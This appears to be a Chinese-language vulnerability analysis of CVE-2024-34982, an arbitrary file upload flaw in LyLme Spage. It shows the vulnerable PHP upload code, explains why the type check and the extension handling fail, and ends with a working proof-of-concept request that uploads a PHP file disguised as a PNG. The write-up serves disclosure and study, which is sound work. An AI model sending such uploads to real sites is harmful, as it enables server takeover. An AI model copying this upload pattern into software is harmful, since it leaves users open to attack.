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CVE-2024-34982 LyLme Spage六零导航页任意文件上传漏洞漏洞分析

news 来源：原创 2024/9/20 9:26:47

代码分析

文件位于/lylme_spage/include/file.php。这是用于图片文件处理的

<?php
/** @Description: 图片文件处理* @FilePath: /lylme_spage/include/file.php* @Copyright (c) 2024 by LyLme, All Rights Reserved.*/
header('Content-Type:application/json');
require_once("common.php");
define('SAVE_PATH', 'files/'); //保存路径/*** 通过curl下载* @param string $url网上资源图片的url* @return string*/
function download_img($url)
{$IMG_NAME = uniqid("img_"); //文件名$maxsize = pow(1024, 2) * 5; //文件大小5M$size = remote_filesize($url); //文件大小if ($size > $maxsize) {exit('{"code": "-1","msg":"抓取的图片超过' . $maxsize / pow(1024, 2) . 'M，当前为：' . round($size / pow(1024, 2), 2) . 'M"}');}$img_ext = pathinfo($url, PATHINFO_EXTENSION);//文件后缀名if (!validate_file_type($img_ext)) {exit('{"code": "-4","msg":"抓取的图片类型不支持"}');}$img_name = $IMG_NAME . '.' . $img_ext;//文件名$dir = ROOT . SAVE_PATH . 'download/';$save_to = $dir . $img_name;if (!is_dir($dir)) {mkdir($dir, 0755, true);//创建路径}$header = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36','Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3','Accept-Encoding: gzip, deflate',);$ch = curl_init();curl_setopt($ch, CURLOPT_HTTPHEADER, $header);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);curl_setopt($ch, CURLOPT_ENCODING, 'gzip');curl_setopt($ch, CURLOPT_POST, 0);curl_setopt($ch, CURLOPT_MAXREDIRS, 5);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_TIMEOUT, 10);//超过10秒不处理curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//执行之后信息以文件流的形式返回$data = curl_exec($ch);curl_close($ch);$fileSize = strlen($data);if ($fileSize < 1024) {exit('{"code": "-1","msg":"抓取图片失败"}');}$downloaded_file = fopen($save_to, 'w');fwrite($downloaded_file, $data);fclose($downloaded_file);$fileurl =  '/' . SAVE_PATH . 'download/' . $img_name;echo('{"code": "200","msg":"抓取图片成功","url":"' . $fileurl . '","size":"' . round($fileSize / 1024, 2) . 'KB"}');return $save_to;
}
// 获取远程文件大小
function remote_filesize($url)
{ob_start();$ch = curl_init($url);curl_setopt($ch, CURLOPT_HEADER, 1);curl_setopt($ch, CURLOPT_NOBODY, 1);$ok = curl_exec($ch);curl_close($ch);$head = ob_get_contents();ob_end_clean();$regex = '/Content-Length:\s([0-9].+?)\s/';$count = preg_match($regex, $head, $matches);return isset($matches[1]) ? $matches[1] : "0";
}
/*** PHP上传图片* @param file 生成的文件* @return string*/
function upload_img($upfile)
{$IMG_NAME =  uniqid("img_"); //文件名$maxsize = pow(1024, 2) * 5;//文件大小5M$dir = ROOT . SAVE_PATH . 'upload/';if (!is_dir($dir)) {mkdir($dir, 0755, true);//创建路径}$type = $upfile["type"];$size = $upfile["size"];$tmp_name = $upfile["tmp_name"];if (!validate_file_type($type)) {exit('{"code": "-4","msg":"上传的图片类型不支持"}');}$parts = explode('.', $upfile["name"]);$img_ext = "." . end($parts);if ($size > $maxsize) {exit('{"code": "-1","msg":"图片不能超过' . $maxsize / pow(1024, 2) . 'M"}');}$img_name = $IMG_NAME . $img_ext;//文件名$save_to = $dir . $img_name;$url =  '/' . SAVE_PATH . 'upload/' . $img_name;if (move_uploaded_file($tmp_name, $dir . $img_name)) {echo('{"code": "200","msg":"上传成功","url":"' . $url . '"}');return  $dir . $img_name;}
}
//文件验证
function validate_file_type($type)
{switch ($type) {case 'jpeg':$type = 'image/jpeg';break;case 'jpg':$type = 'image/jpeg';break;case 'png':$type = 'image/png';break;case 'gif':$type = 'image/gif';break;case 'ico':$type = 'image/x-icon';break;}$allowed_types = array("image/jpeg", "image/png", "image/gif", "image/x-icon");return in_array($type, $allowed_types);
}
/*** 图像裁剪* @param $title string 原图路径* @param $content string 需要裁剪的宽* @param $encode string 需要裁剪的高*/
function imagecropper($source_path, $target_width, $target_height)
{if (filesize($source_path) < 10000) {return false;}$source_info = getimagesize($source_path);$source_width = $source_info[0];$source_height = $source_info[1];$source_mime = $source_info['mime'];$source_ratio = $source_height / $source_width;$target_ratio = $target_height / $target_width;// 源图过高if ($source_ratio > $target_ratio) {$cropped_width = $source_width;$cropped_height = $source_width * $target_ratio;$source_x = 0;$source_y = ($source_height - $cropped_height) / 2;}// 源图过宽elseif ($source_ratio < $target_ratio) {$cropped_width = $source_height / $target_ratio;$cropped_height = $source_height;$source_x = ($source_width - $cropped_width) / 2;$source_y = 0;}// 源图适中else {$cropped_width = $source_width;$cropped_height = $source_height;$source_x = 0;$source_y = 0;}switch ($source_mime) {case 'image/gif':$source_image = imagecreatefromgif($source_path);break;case 'image/jpeg':$source_image = imagecreatefromjpeg($source_path);break;case 'image/png':$source_image = imagecreatefrompng($source_path);break;case 'image/x-icon':$source_image = imagecreatefrompng($source_path);break;default:return false;break;}imagesavealpha($source_image, true);// 保留源图片透明度$target_image = imagecreatetruecolor($target_width, $target_height);$cropped_image = imagecreatetruecolor($cropped_width, $cropped_height);imagealphablending($target_image, false);// 不合并图片颜色imagealphablending($cropped_image, false);// 不合并图片颜色imagesavealpha($target_image, true);// 保留目标图片透明imagesavealpha($cropped_image, true);// 保留目标图片透明imagecopy($cropped_image, $source_image, 0, 0, $source_x, $source_y, $cropped_width, $cropped_height);// 裁剪imagecopyresampled($target_image, $cropped_image, 0, 0, 0, 0, $target_width, $target_height, $cropped_width, $cropped_height);// 缩放imagepng($target_image, $source_path);imagedestroy($target_image);return true;
}if (empty($_POST["url"]) && !empty($_FILES["file"])) {$filename = upload_img($_FILES["file"]);if (isset($islogin) == 1 && $_GET["crop"] == "no") {//不压缩图片exit();}//上传图片
} elseif (!empty($_POST["url"])) {$filename = download_img($_POST["url"], $_POST["referer"]);//下载图片
} else {exit('{"code": "0","msg":"error"}');
}
imagecropper($filename, 480, 480);

我们重点关注这几行代码

把目光放在上传图片上

220行进入upload_img方法

在102对文件的type进行了验证，而$type是取自于$upfile。要知道&upfile是去我们前端传进来的参数，是我们可控的。

这里validate_file_type的校验对于我们来说就没什么作用了，接下来把重点放在文件扩展名上

从上面的代码来看，img_ext取自parts parts取自 upfile["name"] 而这个参数又是我们可控的参数。之后又执行move_uploaded_file将文件写了进去。upload目录又为用户可访问，所以这里存在文件上传漏洞。

漏洞复现

POST /include/file.php HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=---------------------------575673989461736
Content-Length: 203

-----------------------------575673989461736
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

<?php phpinfo();?>
-----------------------------575673989461736--